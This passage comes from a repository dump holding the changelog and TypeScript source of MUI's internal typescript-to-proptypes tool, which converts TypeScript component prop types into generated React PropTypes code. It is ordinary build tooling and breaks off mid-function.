([cbd2eb6](https://github.com/merceyz/typescript-to-proptypes/commit/cbd2eb6))\n- **parser:** handle React.Component and Element instanceOf ([570d73b](https://github.com/merceyz/typescript-to-proptypes/commit/570d73b))\n- **parser:** support elementType ([448d5a6](https://github.com/merceyz/typescript-to-proptypes/commit/448d5a6))\n\n## [1.1.0](https://github.com/merceyz/typescript-to-proptypes/compare/v1.0.4...v1.1.0) (2019-07-15)\n\n### Bug Fixes\n\n- **generator:** don't pass shouldInclude on interfaceNode ([1302502](https://github.com/merceyz/typescript-to-proptypes/commit/1302502))\n\n### Features\n\n- **parser:** circular references ([7de51cc](https://github.com/merceyz/typescript-to-proptypes/commit/7de51cc))\n- **parser:** control included proptypes ([2952e78](https://github.com/merceyz/typescript-to-proptypes/commit/2952e78))\n- **parser:** objects / shapes ([81f1a82](https://github.com/merceyz/typescript-to-proptypes/commit/81f1a82))\n\n## [1.0.4](https://github.com/merceyz/typescript-to-proptypes/compare/v1.0.3...v1.0.4) (2019-07-10)\n\n### Bug Fixes\n\n- **generator:** omit null if proptype is optional ([21351a4](https://github.com/merceyz/typescript-to-proptypes/commit/21351a4))\n- **parser:** reactnode should make proptype optional ([c84b611](https://github.com/merceyz/typescript-to-proptypes/commit/c84b611))\n\n## [1.0.3](https://github.com/merceyz/typescript-to-proptypes/compare/v1.0.2...v1.0.3) (2019-07-10)\n\n### Bug Fixes\n\n- export types ([7583291](https://github.com/merceyz/typescript-to-proptypes/commit/7583291))\n\n## [1.0.2](https://github.com/merceyz/typescript-to-proptypes/compare/v1.0.1...v1.0.2) (2019-07-09)\n\n### Bug Fixes\n\n- **injector:** don't visit FunctionDeclarations more than once ([236276b](https://github.com/merceyz/typescript-to-proptypes/commit/236276b))\n\n## [1.0.1](https://github.com/merceyz/typescript-to-proptypes/compare/v1.0.0...v1.0.1) (2019-07-09)\n\n### Bug Fixes\n\n- **injector:** don't import prop-types if it's already imported ([9d4dfd1](https://github.com/merceyz/typescript-to-proptypes/commit/9d4dfd1))\n- **injector:** insert import after the first one ([6cb31a0](https://github.com/merceyz/typescript-to-proptypes/commit/6cb31a0))\n\n## 1.0.0 (2019-07-08)\n\n### Build System\n\n- disable incremental ([37b0277](https://github.com/merceyz/typescript-to-proptypes/commit/37b0277))\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/src/createType.ts",
    "content": "import ts from 'typescript';\nimport { uniqBy } from 'es-toolkit/array';\nimport {\n  PropType,\n  ArrayType,\n  LiteralType,\n  BooleanType,\n  AnyType,\n  UnionType,\n  BasePropType,\n  ElementType,\n  DOMElementType,\n  InstanceOfType,\n  InterfaceType,\n  FunctionType,\n  StringType,\n  ObjectType,\n  NumericType,\n} from './models';\nimport getTypeHash from './getTypeHash';\n\nexport function createAnyType(init: { jsDoc: string | undefined }): AnyType {\n  return {\n    type: 'any',\n    jsDoc: init.jsDoc,\n  };\n}\n\nexport function createArrayType(init: {\n  arrayType: PropType;\n  jsDoc: string | undefined;\n}): ArrayType {\n  return {\n    type: 'array',\n    jsDoc: init.jsDoc,\n    arrayType: init.arrayType,\n  };\n}\n\nexport function createBooleanType(init: { jsDoc: string | undefined }): BooleanType {\n  return {\n    type: 'boolean',\n    jsDoc: init.jsDoc,\n  };\n}\n\nexport function createDOMElementType(init: {\n  optional: boolean | undefined;\n  jsDoc: string | undefined;\n}): DOMElementType {\n  return {\n    type: 'DOMElementNode',\n    jsDoc: init.jsDoc,\n    optional: init.optional,\n  };\n}\n\nexport function createElementType(init: {\n  elementType: ElementType['elementType'];\n  jsDoc: string | undefined;\n}): ElementType {\n  return {\n    type: 'ElementNode',\n    jsDoc: init.jsDoc,\n    elementType: init.elementType,\n  };\n}\n\nexport function createFunctionType(init: { jsDoc: string | undefined }): FunctionType {\n  return {\n    type: 'FunctionNode',\n    jsDoc: init.jsDoc,\n  };\n}\n\nexport function createInstanceOfType(init: {\n  jsDoc: string | undefined;\n  instance: string;\n}): InstanceOfType {\n  return {\n    type: 'InstanceOfNode',\n    instance: init.instance,\n    jsDoc: init.jsDoc,\n  };\n}\n\nexport function createInterfaceType(init: {\n  jsDoc: string | undefined;\n  types: ReadonlyArray<[string, PropType]> | undefined;\n}): InterfaceType {\n  return {\n    type: 'InterfaceNode',\n    jsDoc: init.jsDoc,\n    types: init.types ?? [],\n  };\n}\n\nexport function createLiteralType(init: {\n  value: string | number | ts.PseudoBigInt;\n  jsDoc: string | undefined;\n}): LiteralType {\n  return {\n    type: 'LiteralNode',\n    value: init.value,\n    jsDoc: init.jsDoc,\n  };\n}\n\nexport function createNumericType(init: { jsDoc: string | undefined }): NumericType {\n  return {\n    type: 'NumericNode',\n    jsDoc: init.jsDoc,\n  };\n}\n\nexport function createObjectType(init: { jsDoc: string | undefined }): ObjectType {\n  return {\n    type: 'ObjectNode',\n    jsDoc: init.jsDoc,\n  };\n}\n\nexport function createStringType(init: { jsDoc: string | undefined }): StringType {\n  return {\n    type: 'StringNode',\n    jsDoc: init.jsDoc,\n  };\n}\n\nexport interface UndefinedType extends BasePropType {\n  type: 'UndefinedNode';\n}\n\nexport function createUndefinedType(init: { jsDoc: string | undefined }): UndefinedType {\n  return {\n    type: 'UndefinedNode',\n    jsDoc: init.jsDoc,\n  };\n}\n\nexport function uniqueUnionTypes(node: UnionType): UnionType {\n  return {\n    type: node.type,\n    jsDoc: node.jsDoc,\n    types: uniqBy(node.types, (type) => {\n      return getTypeHash(type);\n    }),\n  };\n}\n\nexport function createUnionType(init: {\n  jsDoc: string | undefined;\n  types: readonly PropType[];\n}): UnionType {\n  const flatTypes: PropType[] = [];\n\n  function flattenTypes(nodes: readonly PropType[]) {\n    nodes.forEach((type) => {\n      if (type.type === 'UnionNode') {\n        flattenTypes(type.types);\n      } else {\n        flatTypes.push(type);\n      }\n    });\n  }\n\n  flattenTypes(init.types);\n\n  return uniqueUnionTypes({\n    type: 'UnionNode',\n    jsDoc: init.jsDoc,\n    types: flatTypes,\n  });\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/src/generatePropTypes.ts",
    "content": "import partition from 'es-toolkit/compat/partition';\nimport { PropTypeDefinition, PropTypesComponent, PropType, LiteralType } from './models';\nimport { createDOMElementType, createBooleanType, uniqueUnionTypes } from './createType';\n\nexport interface GeneratePropTypesOptions {\n  /**\n   * If source itself written in typescript prop-types disable prop-types validation\n   * by injecting propTypes as\n   * ```jsx\n   * .propTypes = { ... } as any\n   * ```\n   */\n  disablePropTypesTypeChecking?: boolean;\n  /**\n   * Set to true if you want to make sure `babel-plugin-transform-react-remove-prop-types` recognizes the generated .propTypes.\n   */\n  ensureBabelPluginTransformReactRemovePropTypesIntegration?: boolean;\n  /**\n   * Enable/disable the default sorting (ascending) or provide your own sort function\n   * @default true\n   */\n  sortProptypes?: boolean | ((a: PropTypeDefinition, b: PropTypeDefinition) => 0 | -1 | 1);\n  /**\n   * The name used when importing prop-types\n   * @default 'PropTypes'\n   */\n  importedName?: string;\n  /**\n   * Enable/disable including JSDoc comments\n   * @default true\n   */\n  includeJSDoc?: boolean;\n  /**\n   * Previous source code of the validator for each prop type\n   */\n  previousPropTypesSource?: Map<string, string>;\n  /**\n   * Previous JSDoc comment source for each prop type\n   */\n  previousPropTypesJsDoc?: Map<string, string>;\n  /**\n   * Given the `prop`, the `previous` source of the validator and the `generated` source:\n   * What source should be injected? `previous` is `undefined` if the validator\n   * didn't exist before\n   * @default Uses `generated` source\n   */\n  reconcilePropTypes?(\n    proptype: PropTypeDefinition,\n    previous: string | undefined,\n    generated: string,\n  ): string;\n  /**\n   * Control which PropTypes are included in the final result\n   * @param proptype The current PropType about to be converted to text\n   */\n  shouldInclude?(proptype: PropTypeDefinition): boolean | undefined;\n  /**\n   * A comment that will be added to the start of the PropTypes code block\n   * @example\n   * foo.propTypes = {\n   *  // Comment goes here\n   * }\n   */\n  comment?: string;\n  /**\n   * Overrides the given `sortLiteralUnions` based on the proptype.\n   * If `undefined` is returned the default `sortLiteralUnions` will be used.\n   */\n  getSortLiteralUnions?: (\n    component: PropTypesComponent,\n    propType: PropTypeDefinition,\n  ) => ((a: LiteralType, b: LiteralType) => number) | undefined;\n  /**\n   * By default literals in unions are sorted by:\n   * - numbers last, ascending\n   * - anything else by their stringified value using localeCompare\n   */\n  sortLiteralUnions?: (a: LiteralType, b: LiteralType) => number;\n}\n\nfunction defaultSortLiteralUnions(a: LiteralType, b: LiteralType) {\n  const { value: valueA } = a;\n  const { value: valueB } = b;\n  // numbers ascending\n  if (typeof valueA === 'number' && typeof valueB === 'number') {\n    return valueA - valueB;\n  }\n  // numbers last\n  if (typeof valueA === 'number') {\n    return 1;\n  }\n  if (typeof valueB === 'number') {\n    return -1;\n  }\n  // sort anything else by their stringified value\n  return String(valueA).localeCompare(String(valueB));\n}\n\n/**\n * Generates code from the given component\n * @param component The component to convert to code\n * @param options The options used to control the way the code gets generated\n */\nexport function generatePropTypes(\n  component: PropTypesComponent,\n  options: GeneratePropTypesOptions = {},\n): string {\n  const {\n    disablePropTypesTypeChecking = false,\n    ensureBabelPluginTransformReactRemovePropTypesIntegration = false,\n    importedName = 'PropTypes',\n    includeJSDoc = true,\n    sortProptypes = true,\n    previousPropTypesSource = new Map<string, string>(),\n    previousPropTypesJsDoc = new Map<string, string>(),\n    reconcilePropTypes = (_prop: PropTypeDefinition, _previous: string, generated: string) =>\n      generated,\n    shouldInclude,\n    getSortLiteralUnions = () => defaultSortLiteralUnions,\n  } = options;\n\n  function jsDoc(documentedNode: PropTypeDefinition | LiteralType): string {\n    if (!includeJSDoc || !documentedNode.jsDoc) {\n      return '';\n    }\n    return `/**\\n* ${documentedNode.jsDoc\n      .split(/\\r?\\n/)\n      .reduce((prev, curr) => `${prev}\\n* ${curr}`)}\\n*/\\n`;\n  }\n\n  function generatePropType(\n    propType: PropType,\n    context: { component: PropTypesComponent; propTypeDefinition: PropTypeDefinition },\n  ): string {\n    if (propType.type === 'InterfaceNode') {\n      return `${importedName}.shape({\\n${propType.types\n        .slice()\n        .sort((a, b) => a[0].localeCompare(b[0]))\n        .map(([name, type]) => {\n          let regex = /^(UnionNode|DOMElementNode)$/;\n          if (name !== 'children') {\n            regex = /^(UnionNode|DOMElementNode|ElementNode)$/;\n          }\n          return `\"${name}\": ${generatePropType(type, context)}${\n            !type.type.match(regex) ? '.isRequired' : ''\n          }`;\n        })\n        .join(',\\n')}\\n})`;\n    }\n\n    if (propType.type === 'FunctionNode') {\n      return `${importedName}.func`;\n    }\n\n    if (propType.type === 'StringNode') {\n      return `${importedName}.string`;\n    }\n\n    if (propType.type === 'boolean') {\n      return `${importedName}.bool`;\n    }\n\n    if (propType.type === 'NumericNode') {\n      return `${importedName}.number`;\n    }\n\n    if (propType.type === 'LiteralNode') {\n      return `${importedName}.oneOf([${jsDoc(propType)}${propType.value}])`;\n    }\n\n    if (propType.type === 'ObjectNode') {\n      return `${importedName}.object`;\n    }\n\n    if (propType.type === 'any') {\n      // key isn't a prop like the others, see\n      // https://github.com/mui/material-ui/issues/25304\n      if (context.propTypeDefinition.name === 'key') {\n        return '() => null';\n      }\n\n      return `${importedName}.any`;\n    }\n\n    if (propType.type === 'ElementNode') {\n      return `${importedName}.${propType.elementType}`;\n    }\n\n    if (propType.type === 'InstanceOfNode') {\n      return `${importedName}.instanceOf(${propType.instance})`;\n    }\n\n    if (propType.type === 'DOMElementNode') {\n      return `(props, propName) => {\n\t\t\tif (props[propName] == null) {\n\t\t\t\treturn ${\n          propType.optional\n            ? 'null'\n            : `new Error(\\`Prop '\\${propName}' is required but wasn't specified\\`)`\n        }\n\t\t\t}\n      if (typeof props[propName] !== 'object' || props[propName].nodeType !== 1) {\n\t\t\t\treturn new Error(\\`Expected prop '\\${propName}' to be of type Element\\`)\n\t\t\t}\n      return null;\n\t\t}`;\n    }\n\n    if (propType.type === 'array') {\n      if (propType.arrayType.type === 'any') {\n        return `${importedName}.array`;\n      }\n\n      return `${importedName}.arrayOf(${generatePropType(propType.arrayType, context)})`;\n    }\n\n    if (propType.type === 'UnionNode') {\n      const uniqueTypes = uniqueUnionTypes(propType).types;\n      const isOptional = uniqueTypes.some(\n        (type) =>\n          type.type === 'UndefinedNode' || (type.type === 'LiteralNode' && type.value === 'null'),\n      );\n      const nonNullishUniqueTypes = uniqueTypes.filter((type) => {\n        return (\n          type.type !== 'UndefinedNode' && !(type.type === 'LiteralNode' && type.value === 'null')\n        );\n      });\n\n      if (uniqueTypes.length === 2 && uniqueTypes.some((type) => type.type === 'DOMElementNode')) {\n        return generatePropType(\n          createDOMElementType({ jsDoc: undefined, optional: isOptional }),\n          context,\n        );\n      }\n\n      let [literals, rest] = partition(\n        isOptional ? nonNullishUniqueTypes : uniqueTypes,\n        (type): type is LiteralType => type.type === 'LiteralNode',\n      );\n\n      const sortLiteralUnions =\n        getSortLiteralUnions(context.component, context.propTypeDefinition) ||\n        defaultSortLiteralUnions;\n      literals = literals.sort(sortLiteralUnions);\n\n      const nodeToStringName = (type: PropType): string => {\n        if (type.type === 'InstanceOfNode') {\n          return `${type.type}.${type.instance}`;\n        }\n        if (type.type === 'InterfaceNode') {\n          // An interface is PropTypes.shape\n          // Use `ShapeNode` to get it sorted in the correct order\n          return `ShapeNode`;\n        }\n\n        return type.type;\n      };\n\n      rest = rest.sort((a, b) => nodeToStringName(a).localeCompare(nodeToStringName(b)));\n\n      if (literals.find((x) => x.value === 'true') && literals.find((x) => x.value === 'false')) {\n        rest.push(createBooleanType({ jsDoc: undefined }));\n        literals = literals.filter((x) => x.value !== 'true' && x.value !== 'false');\n      }\n\n      const literalProps =\n        literals.length !== 0\n          ? `${importedName}.oneOf([${literals\n              .map((x) => `${jsDoc(x)}${x.value}`)\n              .reduce((prev, curr) => `${prev},${curr}`)}])`\n          : '';\n\n      if (rest.length === 0) {\n        return `${literalProps}${isOptional ? '' : '.isRequired'}`;\n      }\n\n      if (literals.length === 0 && rest.length === 1) {\n        return `${generatePropType(rest[0], context)}${isOptional ? '' : '.isRequired'}`;\n      }\n\n      return `${importedName}.oneOfType([${literalProps ? `${literalProps}, ` : ''}${rest\n        .map((type) => generatePropType(type, context))\n        .reduce((prev, curr) => `${prev},${curr}`)}])${isOptional ? '' : '.isRequired'}`;\n    }\n\n    throw new Error(\n      `Nothing to handle node of type \"${propType.type}\" in \"${context.propTypeDefinition.name}\"`,\n    );\n  }\n\n  function generatePropTypeDefinition(\n    propTypeDefinition: PropTypeDefinition,\n    context: { component: PropTypesComponent },\n  ): string {\n    let isRequired: boolean | undefined = true;\n\n    if (propTypeDefinition.propType.type === 'DOMElementNode') {\n      // DOMElement generator decides\n      isRequired = undefined;\n    } else if (propTypeDefinition.propType.type === 'UnionNode') {\n      // union generator decides\n      isRequired = undefined;\n    }\n\n    const validatorSource = reconcilePropTypes(\n      propTypeDefinition,\n      previousPropTypesSource.get(propTypeDefinition.name),\n      `${generatePropType(propTypeDefinition.propType, {\n        component: context.component,\n        propTypeDefinition,\n      })}${isRequired === true ? '.isRequired' : ''}`,\n    );\n\n    const previousJsDoc = previousPropTypesJsDoc.get(propTypeDefinition.name);\n    const jsDocSource =\n      previousJsDoc !== undefined && validatorSource.includes('@typescript-to-proptypes-ignore')\n        ? `${previousJsDoc}\\n`\n        : jsDoc(propTypeDefinition);\n\n    return `${jsDocSource}\"${propTypeDefinition.name}\": ${validatorSource},`;\n  }\n\n  const propTypes = component.types.slice();\n\n  if (typeof sortProptypes === 'function') {\n    propTypes.sort(sortProptypes);\n  } else if (sortProptypes === true) {\n    propTypes.sort((a, b) => a.name.localeCompare(b.name));\n  }\n\n  let filteredNodes = propTypes;\n  if (shouldInclude) {\n    filteredNodes = filteredNodes.filter((type) => shouldInclude(type));\n  }\n\n  if (filteredNodes.length === 0) {\n    return '';\n  }\n\n  const generated = filteredNodes\n    .map((prop) => generatePropTypeDefinition(prop, { component }))\n    .reduce((prev, curr) => `${prev}\\n${curr}`);\n  if (generated.length === 0) {\n    return '';\n  }\n\n  const comment =\n    options.comment &&\n    `// ${options.comment.split(/\\r?\\n/gm).reduce((prev, curr) => `${prev}\\n// ${curr}`)}\\n`;\n\n  const propTypesMemberTrailingComment = ensureBabelPluginTransformReactRemovePropTypesIntegration\n    ? '/* remove-proptypes */'\n    : '';\n  const propTypesCasting = disablePropTypesTypeChecking ? ' as any' : '';\n  const propTypesBanner = comment !== undefined ? comment : '';\n\n  return `${component.name}.propTypes ${propTypesMemberTrailingComment}= {\\n${propTypesBanner}${generated}\\n}${propTypesCasting}`;\n}\n"
  },
  {
    "path": "packages-internal/scripts/typescript-to-proptypes/src/getPropTypesFromFile.ts",
    "content": "import ts from 'typescript';\nimport * as doctrine from 'doctrine';\nimport {\n  GetPropsFromComponentDeclarationOptions,\n  getPropsFromComponentNode,\n  TypeScriptProject,\n} from '@mui/internal-docs-utils';\nimport {\n  createUnionType,\n  createUndefinedType,\n  createAnyType,\n  createElementType,\n  createDOMElementType,\n  createArrayType,\n  createFunctionType,\n  createInstanceOfType,\n  createLiteralType,\n  createInterfaceType,\n  createNumericType,\n  createObjectType,\n  createStringType,\n} from './createType';\nimport { PropTypeDefinition, PropTypesComponent, PropType } from './models';\n\nfunction getSymbolFileNames(symbol: ts.Symbol): Set<string> {\n  const declarations = symbol.getDeclarations() || [];\n\n  return new Set(declarations.map((declaration) => declaration.getSourceFile().fileName));\n}\n\nfunction getSymbolDocumentation({\n  symbol,\n  project,\n}: {\n  symbol: ts.Symbol | undefined;\n  project: TypeScriptProject;\n  parentType?: ts.Type;\n}): string | undefined {\n  if (symbol === undefined) {\n    return undefined;\n  }\n\n  const decl = symbol.getDeclarations();\n  if (decl && decl.length > 0) {\n    // This behavior tries to replicate how TypeScript itself merges JSDoc comments\n    // It is a complex logic that changes based on the kind of declarations\n    // There is an open issue for it in: https://github.com/microsoft/TypeScript/issues/30901\n    //\n    // For intersection types (A & B), the symbol may have multiple declarations.\n    // We need to handle three cases:\n    // 1. Intersection (type C = A & B): merge JSDoc from all declarations (deduplicated)\n    // 2. Interface extends (interface Z extends X, Y): use the (only) declaration's JSDoc\n    // 3. Interface override (interface W extends X { prop }): use the override's JSDoc (which is the only declaration)\n    //\n    // Note: TypeScript gives us:\n    // - Multiple declarations for intersection types (one from each constituent type)\n    // - Single declaration for interface extends (from the original interface)\n    // - Single declaration for interface override (from the overriding interface)\n\n    // Get JSDoc comments paired with their declarations\n    const declarationsWithComments = decl\n      .map((d) => {\n        const jsDocNodes = ts.getJSDocCommentsAndTags(d).filter((node) => ts.isJSDoc(node));\n        const comment =\n          jsDocNodes.length > 0\n            ? doctrine.unwrapComment(jsDocNodes[0].getText()).trim()\n            : undefined;\n        return { declaration: d, comment };\n      })\n      .filter((item) => item.comment !== undefined);\n\n    if (declarationsWithComments.length > 0) {\n      // If there's only one declaration with a comment, use it\n      // This handles both interface extends and interface override cases\n      if (declarationsWithComments.length === 1) {\n        return declarationsWithComments[0].comment;\n      }\n\n      // Multiple declarations with comments - this is the intersection case (type C = A & B)\n      // Merge JSDoc comments, deduplicating identical ones\n      const uniqueComments = [...new Set(declarationsWithComments.map((d) => d.comment))];\n      return uniqueComments.join('\\n');\n    }\n  }\n\n  const comment = ts.displayPartsToString(symbol.getDocumentationComment(project.checker));\n  return comment !== '' ? comment : undefined;\n}\n\nfunction getType({\n  project,\n  symbol,\n  declaration,\n  location,\n}: {\n  project: PropTypesProject;\n  symbol: ts.Symbol;\n  declaration: ts.Declaration | undefined;\n  location: ts.Node;\n}) {\n  const symbolType = declaration\n    ? // The proptypes aren't detailed enough that we need all the different combinations\n      // so we just pick the first and ignore the rest\n      project.checker.getTypeOfSymbolAtLocation(symbol, declaration)\n    : project.checker.getTypeOfSymbolAtLocation(symbol, location);\n\n  let type: ts.Type;\n  if (declaration === undefined) {\n    type = symbolType;\n  } else {\n    const declaredType = project.checker.getTypeAtLocation(declaration);\n    const baseConstraintOfType = project.checker.getBaseConstraintOfType(declaredType);\n\n    if (baseConstraintOfType === undefined || baseConstraintOfType === declaredType) {\n      type = symbolType;\n    }\n    // get `React.ElementType` from `C extends React.ElementType`\n    else if (baseConstraintOfType.aliasSymbol?.escapedName === 'ElementType') {\n      type = baseConstraintOfType;\n    } else {\n      type = symbolType;\n    }\n  }\n\n  if (!type) {\n    throw new Error('No types found');\n  }\n\n  return type;\n}\n\nfunction checkType({\n  type,\n  location,\n  typeStack,\n  name,\n  project,\n}: {\n  type: ts.Type;\n  location: ts.Node;\n  typeStack: readonly number[];\n  name: string;\n  project: PropTypesProject;\n}): PropType {\n  // If the typeStack contains type.id we're dealing with an object that references itself.\n  // To prevent getting stuck in an infinite loop we just set it to an createObjectType\n  if (typeStack.includes((type as any).id)) {\n    return createObjectType({ jsDoc: undefined });\n  }\n\n  const typeNode = type;\n  const symbol = typeNode.aliasSymbol ? typeNode.aliasSymbol : typeNode.symbol;\n  const jsDoc = getSymbolDocumentation({ symbol, project });\n\n  {\n    const typeName = symbol ? project.checker.getFullyQualifiedName(symbol) : null;\n\n    switch (typeName) {\n      // Remove once global JSX namespace is no longer used by React\n      case 'global.JSX.Element':\n      case 'React.JSX.Element':\n      case 'React.ReactElement': {\n        return createElementType({ jsDoc, elementType: 'element' });\n      }\n      case 'React.ComponentType':\n      case 'React.ElementType': {\n        return createElementType({\n          jsDoc,\n          elementType: 'elementType',\n        });\n      }\n      case 'React.ReactNode': {\n        return createUnionType({\n          jsDoc,\n          types: [\n            createElementType({ elementType: 'node', jsDoc: undefined }),\n            createUndefinedType({ jsDoc: undefined }),\n          ],\n        });\n      }\n      case 'React.Component': {\n        return createInstanceOfType({ jsDoc, instance: typeName });\n      }\n      case 'Element':\n      case 'HTMLElement': {\n        return createDOMElementType({ jsDoc, optional: undefined });\n      }\n      case 'RegExp': {\n        return createInstanceOfType({ jsDoc, instance: 'RegExp' });\n      }\n      case 'URL': {\n        return createInstanceOfType({ jsDoc, instance: 'URL' });\n      }\n      case 'URLSearchParams': {\n        return createInstanceOfType({ jsDoc, instance: 'URLSearchParams' });\n      }\n      case 'Date': {\n        if (!project.shouldUseObjectForDate?.({ name })) {\n          return createInstanceOfType({ jsDoc, instance: 'Date' });\n        }\n\n        return createObjectType({ jsDoc });\n      }\n      default:\n        // continue with function execution\n        break;\n    }\n  }\n\n  if (project.checker.isArrayType(type)) {\n    // @ts-ignore\n    const arrayType: ts.Type = project.checker.getElementTypeOfArrayType(type);\n\n    return createArrayType({\n      arrayType: checkType({ type: arrayType, location, typeStack, name, project }),\n      jsDoc,\n    });\n  }\n\n  const isTupleType = project.checker.isTupleType(type);\n  if (isTupleType) {\n    return createArrayType({\n      arrayType: createUnionType({\n        jsDoc: undefined,\n        types: (type as any).typeArguments.map((x: ts.Type) =>\n          checkType({ type: x, location, typeStack, name, project }),\n        ),\n      }),\n      jsDoc,\n    });\n  }\n\n  if (type.isUnion()) {\n    const hasStringIntersection = type.types.some((t) => {\n      if (t.isIntersection && t.isIntersection()) {\n        const hasString = t.types.some((it) => it.flags & ts.TypeFlags.String);\n        const hasEmptyObject = t.types.some(\n          (it) =>\n            it.flags & ts.TypeFlags.Object &&\n            (!it.symbol || !it.symbol.members || it.symbol.members.size === 0),\n        );\n        return hasString && hasEmptyObject;\n      }\n      return false;\n    });\n\n    if (hasStringIntersection) {\n      const hasLiterals = type.types.some((t) => t.flags & ts.TypeFlags.Literal);\n      if (hasLiterals) {\n        const hasUndefined = type.types.some((t) => t.flags & ts.TypeFlags.Undefined);\n        if (hasUndefined) {\n          return createUnionType({\n            jsDoc,\n            types: [\n              createStringType({ jsDoc: undefined }),\n              createUndefinedType({ jsDoc: undefined }),\n            ],\n          });\n        }\n        return createStringType({ jsDoc });\n      }\n    }\n\n    const node = createUnionType({\n      jsDoc,\n      types: type.types.map((x) => checkType({ type: x, location, typeStack, name, project })),\n    });\n\n    return node.types.length === 1 ? node.types[0] : node;\n  }\n\n  if (type.isIntersection && type.isIntersection()) {\n    const hasString = type.types.some((t) => t.flags & ts.TypeFlags.String);\n    const hasEmptyObject = type.types.some(\n      (t) =>\n        t.flags & ts.TypeFlags.Object &&\n        (!t.symbol || !t.symbol.members || t.symbol.members.size === 0),\n    );\n\n    if (hasString && hasEmptyObject) {\n      return createStringType({ jsDoc });\n    }\n  }\n\n  if (type.flags & ts.TypeFlags.TypeParameter) {\n    const baseConstraintOfType = project.checker.getBaseConstraintOfType(type);\n\n    if (baseConstraintOfType) {\n      if (\n        baseConstraintOfType.flags & ts.TypeFlags.Object &&\n        baseConstraintOfType.symbol.members?.size === 0\n      ) {\n        return createAnyType({ jsDoc });\n      }\n\n      return checkType({ type: baseConstraintOfType!, location, typeStack, name, project });\n    }\n  }\n\n  if (type.flags & ts.TypeFlags.String) {\n    return createStringType({ jsDoc });\n  }\n\n  if (type.flags & ts.TypeFlags.Number) {\n    return createNumericType({ jsDoc });\n  }\n\n  if (type.flags & ts.TypeFlags.Undefined) {\n    return createUndefinedType({ jsDoc });\n  }\n\n  if (type.flags & ts.TypeFlags.Any || type.flags & ts.TypeFlags.Unknown) {\n    return createAnyType({ jsDoc });\n  }\n\n  if (type.flags & ts.TypeFlags.Literal) {\n    if (type.isLiteral()) {\n      return createLiteralType({\n        value: type.isStringLiteral() ? `\"${type.value}\"` : type.value,\n        jsDoc,\n      });\n    }\n    return createLiteralType({\n      jsDoc,\n      value: project.checker.typeToString(type),\n    });\n  }\n\n  if (type.flags & ts.TypeFlags.Null) {\n    return createLiteralType({ jsDoc, value: 'null' });\n  }\n\n  if (type.flags & ts.TypeFlags.IndexedAccess) {\n    const objectType = (type as ts.IndexedAccessType).objectType;\n\n    if (objectType.flags & ts.TypeFlags.Conditional) {\n      const node = createUnionType({\n        jsDoc,\n        types: [\n          (objectType as ts.ConditionalType).resolvedTrueType,\n          (objectType as ts.ConditionalType).resolvedFalseType,\n        ]\n          .map((resolveType) => resolveType?.getProperty(name))\n          .filter((propertySymbol): propertySymbol is ts.Symbol => !!propertySymbol)\n          .map((propertySymbol) =>\n            checkType({\n              type: getType({\n                project,\n                symbol: propertySymbol,\n                declaration: propertySymbol.declarations?.[0],\n                location,\n              }),\n              location,\n              typeStack,\n              name,\n              project,\n            }),\n          ),\n      });\n\n      return node.types.length === 1 ? node.types[0] : node;\n    }\n  }\n\n  if (type.getCallSignatures().length) {\n    return createFunctionType({ jsDoc });\n  }\n\n  // () => new ClassInstance\n  if (type.getConstructSignatures().length) {\n    return createFunctionType({ jsDoc });\n  }\n\n  // Object-like type\n  {\n    const properties = type.getProperties();\n    if (properties.length) {\n      if (\n        project.shouldResolveObject({\n          name,\n          propertyCount: properties.length,\n          depth: typeStack.length,\n        })\n      ) {\n        const filtered = properties.filter((x) =>\n          project.shouldInclude({ name: x.getName(), depth: typeStack.length + 1 }),\n        );\n        if (filtered.length > 0) {\n          return createInterfaceType({\n            jsDoc,\n            types: filtered.map((x) => {\n              const definition = checkSymbol({\n                symbol: x,\n                location,\n                project,\n                typeStack: [...typeStack, (type as any).id],\n              });\n              definition.propType.jsDoc = definition.jsDoc;\n\n              return [definition.name, definition.propType];\n            }),\n          });\n        }\n      }\n\n      return createObjectType({ jsDoc });\n    }\n  }\n\n  // Object without properties or object keyword\n  if (\n    type.flags & ts.TypeFlags.Object ||\n    (type.flags & ts.TypeFlags.NonPrimitive && project.checker.typeToString(type) === 'object')\n  ) {\n    return createObjectType({ jsDoc });\n  }\n\n  console.warn(\n    `${project.reactComponentName}: Unable to handle node of type \"ts.TypeFlags.${\n      ts.TypeFlags[type.flags]\n    }\", using any`,\n  );\n  return createAnyType({ jsDoc });\n}\n\nfunction checkSymbol({\n  project,\n  symbol,\n  location,\n  typeStack,\n  parentType,\n}: {\n  project: PropTypesProject;\n  symbol: ts.Symbol;\n  location: ts.Node;\n  typeStack: readonly number[];\n  parentType?: ts.Type;\n}): PropTypeDefinition {\n  const declarations = symbol.getDeclarations();\n  const declaration = declarations && declarations[0];\n  const symbolFilenames = getSymbolFileNames(symbol);\n  const jsDoc = getSymbolDocumentation({ symbol, project, parentType });\n\n  // TypeChecker keeps the name for\n  // { a: React.ElementType, b: React.ReactElement | boolean }\n  // but not\n  // { a?: React.ElementType, b: React.ReactElement }\n  // get around this by not using the TypeChecker\n  if (declaration && ts.isPropertySignature(declaration) && declaration.type) {\n    // Helper to check if a type node is a React element type reference\n    const getElementTypeName = (typeNode: ts.TypeNode): string | null => {\n      if (ts.isTypeReferenceNode(typeNode)) {\n        const name = typeNode.typeName.getText();\n        if (\n          name === 'React.ElementType' ||\n          name === 'React.ComponentType' ||\n          name === 'React.JSXElementConstructor' ||\n          name === 'React.ReactElement'\n        ) {\n          return name;\n        }\n      }\n      return null;\n    };\n\n    // Check for direct type reference (e.g., `prop: React.ElementType`)\n    let elementTypeName = getElementTypeName(declaration.type);\n\n    // Also check for union types like `React.ElementType | undefined`\n    // but NOT for unions with other types like `string | React.ReactElement | undefined`\n    if (!elementTypeName && ts.isUnionTypeNode(declaration.type)) {\n      let foundElementType: string | null = null;\n      let hasOtherNonUndefinedTypes = false;\n\n      for (const typeNode of declaration.type.types) {\n        const name = getElementTypeName(typeNode);\n        if (name) {\n          foundElementType = name;\n        } else if (\n          // Check if this is an undefined type (keyword or literal)\n          !(\n            typeNode.kind === ts.SyntaxKind.UndefinedKeyword ||\n            (ts.isLiteralTypeNode(typeNode) &&\n              typeNode.literal.kind === ts.SyntaxKind.UndefinedKeyword)\n          )\n        ) {\n          // Found a type that's neither an element type nor undefined\n          hasOtherNonUndefinedTypes = true;\n        }\n      }\n\n      // Only use the element type if the union doesn't have other non-undefined types\n      if (foundElementType && !hasOtherNonUndefinedTypes) {\n        elementTypeName = foundElementType;\n      }\n    }\n\n    if 